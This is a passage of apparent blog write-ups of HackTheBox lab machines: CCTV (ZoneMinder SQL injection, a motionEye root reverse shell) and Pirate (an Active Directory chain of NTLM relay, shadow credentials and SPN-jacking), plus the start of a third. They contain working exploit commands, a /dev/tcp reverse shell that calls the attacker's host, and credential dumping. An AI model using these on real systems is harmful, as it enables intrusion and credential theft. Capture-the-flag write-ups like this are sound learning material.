[{"content":"HackTheBox - CCTV (Linux, Easy) Recon As usual I started with a nmap scan using the following command:\nsudo nmap -sC -sV -vv -oA nmap/cctv 10.129.30.43 The result of the scan shows only port 80 and 22 open, running an Apache server and SSH respectively. The output also shows the domain name of the machine, as you can see below:\nThe only thing to do was to look at the server running:\nThe default webpage doesn\u0026rsquo;t have much besides information about their camera product/software and a Staff Login button, which will take you to a ZoneMinder login dashboard under http://cctv.htb/zm. It seemed that ZoneMinder was a real product rather than a website created just for the box.\nOnce I saw this, the first thing I did was to check default credentials like admin:admin or admin:admin123 and so on. That\u0026rsquo;s the first thing I do everytime I see a login page, it\u0026rsquo;s like a muscle memory. And for my surprise admin:admin worked, they didn\u0026rsquo;t change the default credentials.\nYou get the following dashboard once you\u0026rsquo;re logged in:\nThere is a lot that comes into mind here but I tend to take the easy route first, which is google around using the information that I find and see if there is any existent CVE or know vulnerability that would give me a foothold on the machine.\nYou can see on the upper right that it displays the version: v1.37.63. I used this to search and found that this version is vulnerable to a Blind Boolean based SQL Injection.\nFoothold CVE-2024-51482 You can see the code responsible for this CVE below:\nThe code get the URL parameter tid using $_REQUEST and later place it in a variable called $sql which is just a string which will be used later as a query for dbNumRows function. Since the tid parameter is controlled by the attacker and is concatenated directly into the SQL string without any sanitization, an attacker can scape the query context and inject arbitrary SQL commands.\nThe fix applies validCardinal to ensure tid is a number value before using it and instead of concatenating it directly into the query string, they pass it as argument which will most likely block scape attempts.\nBased on the issue on github, the endpoint which accepts this argument is:\nhttp://hostname_or_ip/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1 We can test that with a simple payload first just to make sure it\u0026rsquo;s working and not patched on the machine:\ntime curl \u0026#39;http://cctv.htb/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1%20AND%20(SELECT%209124%20FROM%20(SELECT(SLEEP(5)))eIaU)\u0026#39; -v -b \u0026#34;ZMSESSID=f565p4p5dk0aq6cntlpegkrbol\u0026#34; * Host cctv.htb:80 was resolved. * IPv6: (none) * IPv4: 10.129.32.64 * Trying 10.129.32.64:80... * Established connection to cctv.htb (10.129.32.64 port 80) from 10.10.15.158 port 55558 * using HTTP/1.x \u0026gt; GET /zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1%20AND%20(SELECT%209124%20FROM%20(SELECT(SLEEP(5)))eIaU) HTTP/1.1 \u0026gt; Host: cctv.htb \u0026gt; User-Agent: curl/8.18.0 \u0026gt; Accept: */* \u0026gt; Cookie: ZMSESSID=f565p4p5dk0aq6cntlpegkrbol \u0026gt; * Request completely sent off * HTTP 1.0, assume close after body \u0026lt; HTTP/1.0 500 Internal Server Error \u0026lt; Date: Fri, 10 Apr 2026 14:26:38 GMT \u0026lt; Server: Apache/2.4.58 (Ubuntu) \u0026lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT \u0026lt; Cache-Control: no-store, no-cache, must-revalidate \u0026lt; Pragma: no-cache \u0026lt; Set-Cookie: zmSkin=classic; expires=Sun, 17 Feb 2036 14:26:38 GMT; Max-Age=311040000; path=/; SameSite=Strict \u0026lt; Set-Cookie: zmCSS=base; expires=Sun, 17 Feb 2036 14:26:38 GMT; Max-Age=311040000; path=/; SameSite=Strict \u0026lt; Content-Length: 0 \u0026lt; Connection: close \u0026lt; Content-Type: text/html; charset=UTF-8 \u0026lt; * shutting down connection #0 ________________________________________________________ Executed in 5.30 secs fish external usr time 4.73 millis 944.00 micros 3.79 millis sys time 1.89 millis 0.00 micros 1.89 millis The server returns a 500 Internal Server Error and you can see on the bottom of the command that it took 5.30s to respond, which confirms that our SLEEP(5) command executed. The machine is vulnerable.\nDumping database After making sure the server was vulnerable I started sqlmap to start dumping the database:\nsqlmap -u \u0026#39;http://cctv.htb/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1\u0026#39; --dbms=MySQL -p tid --cookie=\u0026#34;ZMSESSID=f565p4p5dk0aq6cntlpegkrbol\u0026#34; ZoneMinder use MySQL as their database so we can specify it using --dbms and make sure sqlmap don\u0026rsquo;t waste time testing payloads for other databases. Also, don\u0026rsquo;t forget to add ZMSESSID otherwise all you\u0026rsquo;re gonna get is 401 Access Denied.\nNot much time passed and sqlmap came back saying that tid was indeed vulnerable:\nWith that I started dumping the database, Since Time-Based SQLi extracts data with Sleep commands and one character at time, it would take hours to dump everything and then search what I want would take hours. I looked up on ZoneMinder\u0026rsquo;s source code and the POC video on the github issue to find the database, table and column names that ZoneMinder uses. With that information I can pass it on sqlmap and it will target only what I need\nThe POC video show the following output from sqlmap:\nWith that information I crafted my command:\nsqlmap -u \u0026#39;http://cctv.htb/zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=1\u0026#39; --dbms=MySQL --dump -p tid -D \u0026#34;zm\u0026#34; -T \u0026#34;Users\u0026#34; -C \u0026#34;Username, Password\u0026#34; --time-sec=2 --batch --cookie=\u0026#34;ZMSESSID=f565p4p5dk0aq6cntlpegkrbol\u0026#34; Even with this much information it took around 20min/30min, in the meantime I went to take a bath and get more coffee, when I came back I saw:\nsqlmap had successfully dumped two users and their hashes, the third one failed because the machine time ended while I was away. I let the sqlmap running to dump the third user while I tried to crack the hashes I had.\nhashcat -m 3200 \u0026#39;$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.\u0026#39; ~/hacking/hackthebox/useful/rockyou.txt hashcat -m 3200 \u0026#39;$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm\u0026#39; ~/hacking/hackthebox/useful/rockyou.txt While superadmin hash didn\u0026rsquo;t crack, mark one did and we got his password:\nWith mark password I went straight for SSH:\nssh mark@cctv.htb Privilege Escalation Port-Forwarding services running on localhost Now that I had access to the machine I started doing simple enumeration, sudo -l, SUID bits and linpeas.sh didn\u0026rsquo;t returned anything worth so I decided to look if there was anything running locally:\nmotioneye.service was the most unusual service there so I decided to look after its .service file. Services files are normally located at: /etc/systemd and the file responsible for motioneye.service was at: /etc/systemd/system/motioneye.service. For my surprise, this service was configured to run as root, as you can see highlighted below:\nWith ssh credentials port forwarding becomes pretty straight forward:\n# Your machine ssh -L 8888:127.0.0.1:8888 mark@cctv.htb Accessed it on my browser and the page showed nothing besides a 404 error as you can see below\nWell, wrong one\u0026hellip;I could have forwarded each port and look one by one but that just dumb. One google search and it showed me what I wanted:\nAnd there you go, the web interface was being hosted on port 8765:\nExploiting Motioneye web page Opening the side panel showed me the version and a bunch of more stuff as you can see:\nRight below this part, in the File Storage menu I found a option for running commands, as you can see below:\nI enabled and put a simple curl command to me, if it executes I would receive the request on my python server. While I waited for some kinda of event trigger this command I used the versions we saw earlier to google around once more, I ended up landing on this known exploit.\nIt\u0026rsquo;s a RCE flaw triggered by the unsanitized picture_filename field which you can change under Settings -\u0026gt; Still Images menu. By adding $() at the begging of the date format you can execute commands, these commands will be triggered once a image is saved and by changing the Capture Mode to Interval Snapshots you can trigger image saves each ten seconds or whatever value is at Snapshot Interval.\nAt this point I didn\u0026rsquo;t even had changed the Image File Name, I just enabled the Interval Snapshots and once applied my python server started receiving requests each 10 seconds. The curl command I added earlier was being executed and reaching to my python server:\nAt times like this I always like to go for a multi-stage shell because if it fails, I would at least where/what failed. If I received the request and the shell didn\u0026rsquo;t by, for example. So I put a simple bash shell on a .sh file, made the service request and save it using curl and once it did, I executed it with bash:\necho \u0026#39;bash -i \u0026gt;\u0026amp;/dev/tcp/10.10.15.158/9001 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; shell.sh chmod +x shell.sh python3 -m http.server 8080 ncat -lvnp 9001 # On Motioneye web page curl http://10.10.15.158:8080/shell.sh # Once you see the request on python server bash shell.sh Waited a few seconds and got a root shell, machine successfully owned :).\nTechnically, the exploit I used isn\u0026rsquo;t CVE-2025-60787 btw\u0026hellip;It abuses a legitime feature that allows running commands on image save events, which is bad feature but it has it\u0026rsquo;s uses cases. The real vulnerablility/flaw here is that the entire motioneye service runs as root, which allows an attacker to use it to escalate privileges.\nMaybe the service needs privileges for some operations but throwing a sudo there is surely wrong, probably there are better ways to achieve the same thing.\nThank you for reading :) If you read until here, well, congratulations. This one was easier and shorter but you still deserve it. Feel free to reach out to me if you have any questions. Also, If you\u0026rsquo;ve found any errors or sections that could be explained better, feel free to email or contact me in any social media :)\nIf this writeup helped you, consider giving me respect on my hackthebox profile\n","permalink":"https://blog.akmee.xyz/writeups/active/cctv/","summary":"CCTV, an easy Linux machine that exposes a real-world camera management stack where default credentials open the door and a misconfigured service hands you root.","title":"CCTV Writeup - HackTheBox"},{"content":"HackTheBox — Pirate (Hard, Windows) [!NOTE] I try to keep in mind that steps that seem simple to most people could be really hard to someone who just got into AD pentesting and is trying to learn. I try my best to explain all the steps in a way that anyone would be able to at least understand a thing or two. That being said, this machine is still a Hard-Rated machine with complex chains and AD specifics concepts, so, if you haven\u0026rsquo;t done boxes like this, some sections might seem quite dense. Feel free to reach out to me if you have any questions, I\u0026rsquo;ll be glad to help you out.\nReconnaissance As usual, I started with nmap scan to see what services the machine was running:\nsudo nmap -sC -sV -vv -oA nmap/pirate 10.129.244.95 Since it\u0026rsquo;s a Windows machine, it\u0026rsquo;s expected that will be a lot of ports/services available (LDAP, Kerberos, DNS, RPC) and the scan output is normally huge as fuck so I obviously will cut it out.\nNothing unusual for a AD machine though. I went ahead and added both domain names nmap showed to me and started to do enumeration with netexec using the credentials you\u0026rsquo;re given at the start.\nsudo nvim /etc/hosts # Users nxc smb dc01.pirate.htb -d pirate.htb -u pentest -p \u0026#39;p3nt3st2025!\u0026amp;\u0026#39; --users --log nxc/users # Shares nxc smb dc01.pirate.htb -d pirate.htb -u pentest -p \u0026#39;p3nt3st2025!\u0026amp;\u0026#39; --shares nxc/shares Since I couldn\u0026rsquo;t find anything in the shares and we already have a valid credentials, I decided to fire up Bloodhound, gather some data using nxc and started going through the graphs. After spending some time going through the graphs, I found that the domain DC01.PIRATE.HTB is a member of Pre-Windows 2000 Compatible Access\n# Bloodhound data nxc ldap 10.129.244.95 -u pentest -p \u0026#39;p3nt3st2025!\u0026amp;\u0026#39; --bloodhound --collection All --dns-server 10.129.244.95 -d pirate.htb --kdcHost 10.129.244.95 Foothold Pre-Windows 200 Compatible Access? Pre-Windows 2000 Compatible Access was a group created to provide backwards compatibility with legacy pre-AD environments where you could query basic information about the domain without having valid credentials. Members of this group are granted read access to AD objects like users, computers and other stuff. It\u0026rsquo;s doesn\u0026rsquo;t give you access to the domain head-on but can help you find weak spots, since you don\u0026rsquo;t really need any type of credential to enumerate the environment objects. In this case is not useful because we already have a valid user we start with, but it\u0026rsquo;s good you know what the group is used for.\nAnother feature of this group is that if you check Assign this computer account as a pre-Windows 2000 computer when creating a computer account in the AD environment, the password of this account will be based on its username. For example, TomatoPC$ computer account, if created with the option said above, will have its password set as tomatopc. This information can be found in a old KB article: Wayback machine The account created with this option will keep the default password until the creator authenticate and links the computer account to its specific physical machine, when that happens, netlogon will rotates the password and generate a random one.\nSo, to summarize, computers accounts which were created but were never used will still have the default password based on their username. We can use tools to identify that, in this case i\u0026rsquo;ll use pre2k and netexec.\nAbusing Pre-Windows 2000 and why you shouldn\u0026rsquo;t always blind-trust a tool output Here was my first attempt using pre2k:\nIt returned\u0026hellip;nothing? Not even a error? Sure something was wrong, I added -verbose to see if it would change anything:\nMy first thought was:\n\u0026ldquo;Invalid credentials, it says. Well, end of the line. There is nothing more to it, it might be another vulnerability then\u0026hellip;\u0026rdquo;\nBut if you\u0026rsquo;ve done Windows Machines before you know that authentication in AD environments can be done in multiples ways and can fail for numerous reasons, so I insisted a bit more on it. The tool may be using Kerberos and it could be disabled, or the other way around. It may be defaulting to LDAP instead. Clock skew, wrong realm or name resolution issues. Windows auth has a dozen ways to silently misbehave.\nI switched up to netexec, here is what it returned:\nThat gave me a more reasonable output, the error is caused by the clock skew, not invalid credentials. Normally, when you request a ticket from the KDC, the tool will get your timestamp and embed and encrypt it inside the ticket. The KDC will check the timestamp in the ticket against its own clock, if the difference is too great, KDC will reject it right away, even if everything else is alright. This makes harder for attacks where a valid ticket is sniffed since you only have a short period of time to use it.\nThis error have a easy fix though, you just need to sync your time with the machine you\u0026rsquo;re attacking:\n# Remember to enable it after finishing the machine sudo systemctl stop systemd-timesyncd # You need to stop that otherwise the service will fix the time right after you changed it. sudo ntpdate 10.129.12.66 # With the time now matching the machime, we try again. nxc ldap 10.129.12.66 -M pre2k -u pentest -p \u0026#39;p3nt3st2025!\u0026amp;\u0026#39; With the clock now synced, both tools returned valid results, as you can see below:\nTwo computer accounts still have the default password, that\u0026rsquo;s a good start.\nAbusing ReadGMSAPassword with new acquired users I went to bloodhound to see what those computers accounts could do, what privileges they have and which groups they were part of. The MS01$ computer had the most interesting privileges, being part of the Domain Secure Servers would grant me the privilege to read the passwords of two another users by abusing the ReadGMSAPassword privilege:\nI also went ahead to look what those two users could do, both of them were members of Remote Management Users, which will allow us to get a remote shell on the machine. Besides that, I couldn\u0026rsquo;t find anything.\nThere are multiples ways to abuse the ReadGMSAPassword, netexec has a bultin flag that. It will return the NTHash for every user you\u0026rsquo;ve the priveleges over. All you need to do is to put MS01$ credentials and add --gmsa flag.\nFirst Remote Shell and Enumeration on the network As I said before, Bloodhound didn\u0026rsquo;t showed anything useful for both machines besides being able to get a remote shell. That made me think that I was suppose to find something inside the machine that would give me more privileges or another service to look at. I was able to find that the machine was in another network segment and used a simple powershell command to ping addresses in that segment and wait to see if I received a response back.\nPivoting into Internal Subnet Reaching Internal Subnet using Ligolo After seeing that the IP Address 192.168.100.2 was up and I could reach only from the DC, I started to work on setup a reverse SOCKS proxy. That will allow me to reach the machine inside the segment we don\u0026rsquo;t have access to by routing our packets to DC01 into the internal network.\nNormally I\u0026rsquo;d use chisel and proxychains but recently I heard about a project called ligolo that creates a userland network instead of forward/proxy the packets, which makes it simpler and faster (I suffered enough with proxychains). I decided it was a good time to give it a try, you can check the project docs here: ligolo-ng\nBelow is a section or more like a guide of how to setup and use ligolo for this machine. If you\u0026rsquo;re already familiar with setting up a reverse proxy, feel free to jump to the next section.\nHow to set up Ligolo Proxy and Agent First thing, you need the compiled binaries for the agent, which you will upload to the DC machine and will receive your packets. They\u0026rsquo;re available in the github releases of the project:\nYou can use the upload command from evil-winrm but it was taking so long that I decided to download it using python and powershell instead.\npython3 -m http.server 8080 # AD (New-Object Net.WebClient).DownloadFile(\u0026#39;http://10.10.15.158:8080/agent.exe\u0026#39;, \u0026#39;C:\\Windows\\Temp\\agent.exe\u0026#39;) C:\\Windows\\Temp\\agent.exe --help With the agent binary on the DC, we go back to our machine and use ligolo-proxy to set up the tunnel, start by creating a tun network for ligolo to use, then start ligolo-proxy with -selfcert. I f i understood correctly, ligolo use certificates to encrypt the packets sent in its network. You can set it up pretty fast with LetsEncrypt or create a personal one, for a HTB machine it\u0026rsquo;s just overkill so we choose to ignore it.\n# Create tun network interface for ligolo sudo ip tuntap add user [your_username] mode tun \u0026lt;interface_name\u0026gt; sudo ip link set \u0026lt;interface_name\u0026gt; up # Start proxy with self-cert ligolo-proxy -selfcert # Victim - \u0026lt;YOUR_IP:Ligolo_port\u0026gt; C:\\Windows\\Temp\\agent.exe -connect 10.10.15.158:11601 -ignore-cert # On proxy shell, you\u0026#39;ll receive `Agent Joined` Message # Select agent using ligolo-ng » session # Start the tunnel with the interface you created ligolo-ng » tunnel_start --tun \u0026lt;interface_name\u0026gt; For the last step, after starting the tunnel, use ifconfig in the ligolo-proxy command prompt to get what networks segments are available in the agent (the DC, in our case). The network segment we want to route is the internal network 192.168.100.0/24, which we don\u0026rsquo;t have access to.\nsudo ip route 192.168.100.0/24 dev \u0026lt;interface_name\u0026gt; With the tunnel and the route set for the right network, you can see in the terminal on the upper right that the pings sent to the 192.168.100.2 machine we saw earlier went through.\nAnd that\u0026rsquo;s it, with the new target now accessible from our machine, we can start the enumeration part.\nEnumeration on new target After setting up all this route stuff, I started using netexec to check on the new machine available. First thing I did was to check if we could use any of the users we already own. As you can see below, only one user returned true for both machines, you can check it with:\nnetexec smb 192.168.100.1 192.168.100.2 -u gMSA_ADCS_PROD\\$ -H 25c7f0eb586ed3a91375dbf2f6e4a3ea # Change the hash plz netexec smb 192.168.100.1 192.168.100.2 -u gMSA_ADFS_prod\\$ -H 25c7f0eb586ed3a91375dbf2f6e4a3ea Only the later user returned true for both machines, netexec also shows our the domain name, which is WEB01 and that signing is set to \u0026ldquo;False\u0026rdquo;.\nThe next part we are going to do a NTLMRelay attack which turns out to be possible due to signing being disabled, i\u0026rsquo;ll explain it all in more details in the section below.\nPrivilege Escalation - WEB01 Explanation of LDAP Signing and NTLMRelay First, let start by explaining the NTLM Relay attack. NTLM Relay is a man-in-the-middle where you intercept an NTLM authentication attempt from a victim and forward it to another target, it allows you to authenticate as victim without having their password. Normally, NTLM auth works like this:\nNormal NTLM Auth The client sends a NEGOTIATE packet to the server to start the authentication, server will send a CHALLENGE back and the client will respond the challenge and sign the packet with his NTHash. The hash is not inside it, it\u0026rsquo;s just used to sign the message. The server will validate the AUTHENTICATE packet and if it matches, the connection is established. For the NTLMRelay attack, the attacker doesn\u0026rsquo;t need to know the NTHash. They just need to be in the middle so they can forward the server\u0026rsquo;s challenge to the victim, get the signed response back, and hand it to the real target.\nNTLMRelay Attack flow The NTLM Relay attack works by positioning yourself between the victim and the target (Man in the middle) BUT for the victim\u0026rsquo;s perspective, you are the server. You will use tools that will open ports that AD environments and send the right responses, they think they\u0026rsquo;re authenticating to a legitimate service.\nEvery message the vicim sends, you forward to the target and every message the target sends back, you forward to the victim. The victim will sign the challenge with their NTHash and will send back the AUTHENTICATE message, you intercept it and forward to the target. The target validates, sees a correct response and grants you the session.\nAs I said, this is possible by coercing the victim into authenticating to you! There are tools for that such as Responder, Coercer and PetitPotam. Each of them uses different techniques as far as I know, here is a bit of explanation of each one of them:\nResponder Responder poisons LLMNR/NBT-NS/mDNS, the broadcast fallback chain Windows uses when a DNS query fails. If any machine on the LAN broadcasts \u0026ldquo;anyone know this host?\u0026rdquo;, Responder answers \u0026ldquo;yes, that\u0026rsquo;s me\u0026rdquo;, and the victim initiates NTLM auth to you.\nWhen a Windows machine tries to resolve a hostname, it goes like this:\nDNS mDNS LLMNR NBT-NS mDNS, LLMNR and NBT-NS are multicast, the request will be sent to anyone in the local network and anyone can also answer it.\nVictim: \u0026#34;hey, does anyone know where FILESERVER is?\u0026#34; (broadcast) Responder: \u0026#34;yeah that\u0026#39;s me, I\u0026#39;m FILESERVER\u0026#34; Victim: \u0026#34;ok let me authenticate...\u0026#34; → sends NTLM auth to you PetitPotam PetitPotam abuses the MS-EFSR RPC interface (Windows EFS), using UNC Paths to trigger authentications. You can test it, If you go to your explorer and type: \\\\noexistent\\path in the search bar, you will see that explorer will take a while to say it does not exist and it will come up with the windows message box for Network Errors. UNC Paths are Windows standart format for accessing networks resources (shared folders,printers and stuff) without needing to map them to a drive letter, the format is: \\\\ServerName\\ShareName\\Directory\\File\nThere are numerous ways to use UNC path in Windows, for example, RPC interfaces that accepts UNC Paths as parameters, calling them will make Windows try to open the path and thus sending the authentication packets we want:\nAttacker: calls MS-RPRN!RpcRemoteFindFirstPrinterChangeNotification( pszLocalMachine = \u0026#34;\\\\\u0026lt;attacker_ip\u0026gt;\\share\u0026#34; ) Victim DC: \u0026#34;ok let me connect to that path...\u0026#34; → NTLM auth hits your ntlmrelayx Coercer Coercer works like PetitPotam, it covers a wide range of RPC interfaces (MS-EFSR, MS-FSRVP, MS-DFSNM, and others) that all share the same property: they can be told to connect back to an attacker-controlled path.\nNow you must be thinking about the signing thing I said ealier, the section below i\u0026rsquo;ll bring it up again and why it all would fail if not for it being disabled\nSMB signing and why it matters Now that you understand how NTLM Relay works a bit, it\u0026rsquo;s easier to understand why SMB Signing negates all of this.\nSMB Signing is a mechanism where every SMB packet is cryptographically signed using a session key derived from the authentication. If signing is enforced, the server will expect all packets to be signed with the NTHash even after authentication is done and estabilished. But since you don\u0026rsquo;t have the session key (NTHash) that is used to sign the packets, anything you send will be denied by the server. You only relayed the auth, you don\u0026rsquo;t actually know the user\u0026rsquo;s NTHash to sign the packets by yourself\nSMB Signing is disabled for WEB01, so it\u0026rsquo;s a safe bet saying that we can pull it off.\nDomain Admin on WEB01 with NTLMRelay Attack And that\u0026rsquo;s how I did it:\n# Start ntlmrelay.py / -i for interactive mode sudo ntlmrelayx.py dc01.pirate.htb -i # Use coercer to force the auth coercer coerce -t 192.168.100.2 -u gMSA_ADFS_prod\\$ --hashes \u0026#39;:fd9ea7ac7820dba5155bd6ed2d850c09\u0026#39; -l 10.10.15.158 ntlmrelayx will open the ports and wait for a connection, coercer will use the technique we discussed earlier to force WEB01 to start a authentication to us.\nYou can see in the terminal that ntlmrelayx complains about the connection being reset and it may be because it\u0026rsquo;s trying to use SMBv2 instead of SMBv1 and we need to add the -smb2support. I added the flag it asked and tried again:\nThe message saying that connection was reset went away but a new error appeared saying that attack won\u0026rsquo;t work unless we use -remote-target or --remove-mic. What does that mean?\nWhat is MIC? Why we need to remove it? The Message Integrity Code (MIC) is a cryptographic safeguard designed to ensure that the NTLM negotiation process hasn\u0026rsquo;t been tampered with. It uses all three messages (NEGOTIATE, CHALLENGE, AUTHENTICATE) concatenated together to create a unique value:\n$$ MIC = HMAC_MD5(session_key, NEGOTIATE || CHALLENGE || AUTHENTICATE) $$In a relay scenario, there is a mismatch in the CHALLENGE message: The victim sees the challenge sent by your relay tool (the Attacker) but the target (server) sees the challenge that it sent to you.\nBecause these challenges (nonces) are different, the AUTHENTICATE message generated by the victim contains a MIC that is mathematically tied to the \u0026ldquo;wrong\u0026rdquo; challenge from the perspective of the target server. When the target server validates the MIC, the hashes don\u0026rsquo;t match, and the connection is dropped to prevent the relay.\nVictim computed MIC over: NEGOTIATE + your_challenge + AUTHENTICATE Target verifies MIC over: NEGOTIATE + target_challenge + AUTHENTICATE ↑ different! → MIC verification fails → auth rejected --remove-mic makes ntlmrelayx strips the MIC field from the AUTHENTICATE message before forwarding it. The target receives an AUTHENTICATE with no MIC and accepts because MIC is only mandatory if the msAvFlags field in the message signals is present, the server won\u0026rsquo;t deny the packet if there is no MIC. Here is the code in impacket responsible to strip it:\nLdap Shell on WEB01 and shadow credentials So, after adding those two flags, everything went smooth and I was able to get the a LDAP shell, as you can see in the output below:\nThe next thing I did was to abuse web01$\u0026rsquo;s right to write its own msDS-KeyCredentialLink using the LDAP shell I just got from the ntlmrelay attack. How do I know that web01$ computer account has this privilege? By default, computer accounts have a SELF write privilege to msDS-KeyCredentialLink while user accounts this attribute can be changed only by Local Administrators.\nThis attribute is responsible to store the public key used to check authentication using certificates created with the private key of the pair. The new command added to impacket will generate a new key pair, writes the public key to msDS-KeyCredentialLink and saves the private key + certificate in a .pfx in your machine. It will allow you to use those to authenticate in the domain as the user. The DC validates the authentication with the public key that its inside the msDS-CredentialLink and since you changed it a new pair, it will match and you can authenticate just fine. Here is the output of the command saying that it generated the keys, saved the PKC12 certificate and private key and what password you should use with it:\nLater I used certipy to perform the auth using the certificate + private key and issue a valid ticket to get the NTHash of the user we just attacked (web01$). NTHashes are simpler to use and normally they don\u0026rsquo;t change between machines.\n[!WARNING] If you\u0026rsquo;re wondering why your ldap shell doesn\u0026rsquo;t have the set_shadow_credential command available, it\u0026rsquo;s because it was merged in master not a long time ago and it\u0026rsquo;s not included in the 0.13v of impacket. Clone the repo from the lastest commit, build/install it with uvx/pipx and it should work.\nHere is how you can do that with certipy:\nS4U2Self to Adminstrator in WEB01 web01$ computer account was mine, being the computer account of the machine WEB01 I could do anything I wanted. I decided to use NThash returned from certipy to impersonate the Administrator and use secretsdump.py to get passwords/hashes of every user in the WEB01 machine.\nFirst, got a ticket impersonating the Administrator using getST.py:\nAnd with the ticket, I exported it and and used it in secretsdump.py. The chain of commands from the LDAP shell to secretsdump is:\n# LDAP shell nc 127.0.0.1 11000 set_shadow_creds # Get NTHash using certipy certipy auth -pfx random.pfx -password random_pass -domain pirate.htb -username WEB01\\$ -dc-ip 192.168.100.1 # Use NTHash to impersonate Administrator getST.py -impersonate administrator -spn HOST/WEB01 -self \u0026#39;pirate.htb/web01$@pirate.htb\u0026#39; -hashes \u0026#34;:feba09cf0013fbf5834f50def734bca9\u0026#34; -dc-ip 192.168.100.1 # secrets dump web01 machine. uvx --from impacket secretsdump.py -k -no-pass web01.pirate.htb Privilege Escalation - DC01 secretsdump.py showed me the default password of a.white user. I tested it and after confirming that it was working I went to bloodhound to see if this user had any priveleges that I could abuse. You can see below that a.white has ForceChangePassword rights over a.white_adm, this privilege is pretty self explanatory\u0026hellip;\nBefore changing a.white_adm password, I found that he had the WriteSPN for all domains in the environment.\nThe Service Principal Name (SPN) is a unique identifier for a service instance. In Active Directory, SPNs are used to associate a service (like SQL or HTTP) with a specific service account or computer account. In Active Directory you can also configure delegations, users that can impersonate/act-on-behalf of another users when requesting specific services. It\u0026rsquo;s possible to use a tool like: findDelegation.py in order to read the msDS-AllowedToDelegateTo attribute set and find the list of SPNs that specific accounts are allowed to impersonate another users. Below is the output of findDelegation.py showing two delegations on pirate.htb, both for the user a.white_adm:\nThis basically means that a.white_adm can request a ticket for any user (S4U2Self) to the services which he has rights to. It\u0026rsquo;s possible to abuse it and impersonate the Local Administrator of the machine where the SPN/Service points to. The delegation rights point to WEB01 and we already have the Administrator owned there so while this a good finding, it\u0026rsquo;s not useful at this point.\na.white_adm has the WriteSPN privilege though, what happens when makes the the SPN for WEB01 points to DC01$ machine instead of WEB01$? The KDC will lookup who owns the SPN for HTTP/WEB01 and it will point to the DC01, the machine we don\u0026rsquo;t have Administrator yet.\n[!Note] You\u0026rsquo;re not changing the DelegationRightsTo field but what machine object is registered for the service. What changes is that instead of HTTP/WEB01 service pointing to the WEB01$, it will point to the DC01$ machine instead. After we change the SPN from WEB01$ to DC01$ we could run the findDelegation.py again and it would show the same domain in DelegationsRightsTo\nSo it\u0026rsquo;s possible to change the SPN and request a Administrator to access the service HTTP/WEB01, the KDC will lookup who owns this service and since we changed the SPN it will point to the DC machine instead of WEB01. I explained it again because it took me a bit of time to realize it, it\u0026rsquo;s quite unintuitive. I thought that I was able to change the AllowedToDelegateTo field.\nThe request would look something like this:\na.white_adm.AllowedToDelegateTo = [HTTP/WEB01.pirate.htb] ← never changes ↓ KDC looks up HTTP/WEB01.pirate.htb in directory ↓ finds it on DC01$ # (instead of WEB01$) ↓ issues ticket encrypted with # DC01$\u0026#39;s key because SPN says so ↓ We can use use the ticket to impersonate anyone for HTTP service I should also note that in the ticket, the service name lies outside and unprotected. We will receive a ticket for HTTP/WEB01 but nothing will prevent us to change the service from HTTP -\u0026gt; CIFS(SMB), or HTTP -\u0026gt; HOST.\nDomain Admin via SPN-Jacking and S4U2Self + S4U2Proxy So, the chain becomes:\nUse a.white to change a.white_adm password └─\u0026gt; Use a.white_adm to remove WEB01$ SPN └─\u0026gt; Use a.white_adm to add DC01$ SPN └─\u0026gt; Request ticket impersonating Administrator └─\u0026gt; Edit the ticket\u0026#39;s SPN (service) └─\u0026gt; Secretsdump with new ticket └─\u0026gt; DC01 Owned! With all that in mind I went to work, the first thing I did was to change a.white_adm password using bloodyAD, here is the command:\nbloodyAD --host 192.168.100.1 -d pirate.htb -u a.white -p \u0026lt;PASSWORD\u0026gt; set password a.white_adm Password123! Next step was to change the SPN so WEB01 would point to the DC instead. Two SPNs are not allowed in Active Directory, we must first remove one and later add the other (See the -r flag in the first command)\naddspn.py -u \u0026#39;pirate.htb\\a.white_adm\u0026#39; -p \u0026#34;Password123!\u0026#34; -t \u0026#34;WEB01$\u0026#34; -s \u0026#34;HTTP/WEB01.pirate.htb\u0026#34; -r 10.129.244.95 addspn.py -u \u0026#39;pirate.htb\\a.white_adm\u0026#39; -p \u0026#34;Password123!\u0026#34; -t \u0026#34;DC01$\u0026#34; -s \u0026#34;HTTP/WEB01.pirate.htb\u0026#34; 10.129.244.95 With the SPN pointing to the DC now, all I did was to request a ticket with the same -impersonate as before. We also use -altservice, which will change the service that we are getting the ticket to. You can change to cifs and use psexec to get a remote shell using SMB or use HOST instead and use it with the secretsdump.py tool to get Administrator NThash instead, do as you please.\nWhy the KDC accepts it -altservice works by changing the service name after the ticket was issued, since it sits unencrypted in the ticket. You ask the ticker for HTTP/WEB01 and KDC will check the DelegationRightsTo and make sure you have rights for that service. If you request a service which is not in the DelegationsRightsTo, for example: CIFS/WEB01. KDC will return KDC_ERR_BADOPTION. You change the service after the ticket was issued and when presenting it the KDC will not make the check again and you will be able to access other services that you should not be able to. So, to finish the machine, all I did was:\ngetST.py pirate.htb/a.white_adm:\u0026#39;Password123!\u0026#39; -spn http/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.244.95 -altservice cifs/DC01.pirate.htb export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache psexec.py -k -no-pass DC01.pirate.htb type C:\\Users\\Administrator\\Desktop\\root.txt With the DC owned and root flag obtained, Pirate machine is finished, I should be honest, it was pretty hard.\nThank you for reading :) If you read until here, well, congratulations. That was a big one, feel free to reach out to me if you have any questions. Also, If you\u0026rsquo;ve found any errors or sections that could be explained better, feel free to email or contact me in any social media :)\nIf this writeup helped you, consider giving me respect on my hackthebox profile\n","permalink":"https://blog.akmee.xyz/writeups/active/pirate/","summary":"Pirate, a hard level Windows machine that throws you into a multi-segment Active Directory environment where every step forward requires digging deeper into how Windows authentication actually works and how to break it.","title":"Pirate Writeup - HackTheBox"},{"content":"HackTheBox Interpreter (Medium, Linux) Reconnaissance Port Scan As usual, I started with a nmap scan to see 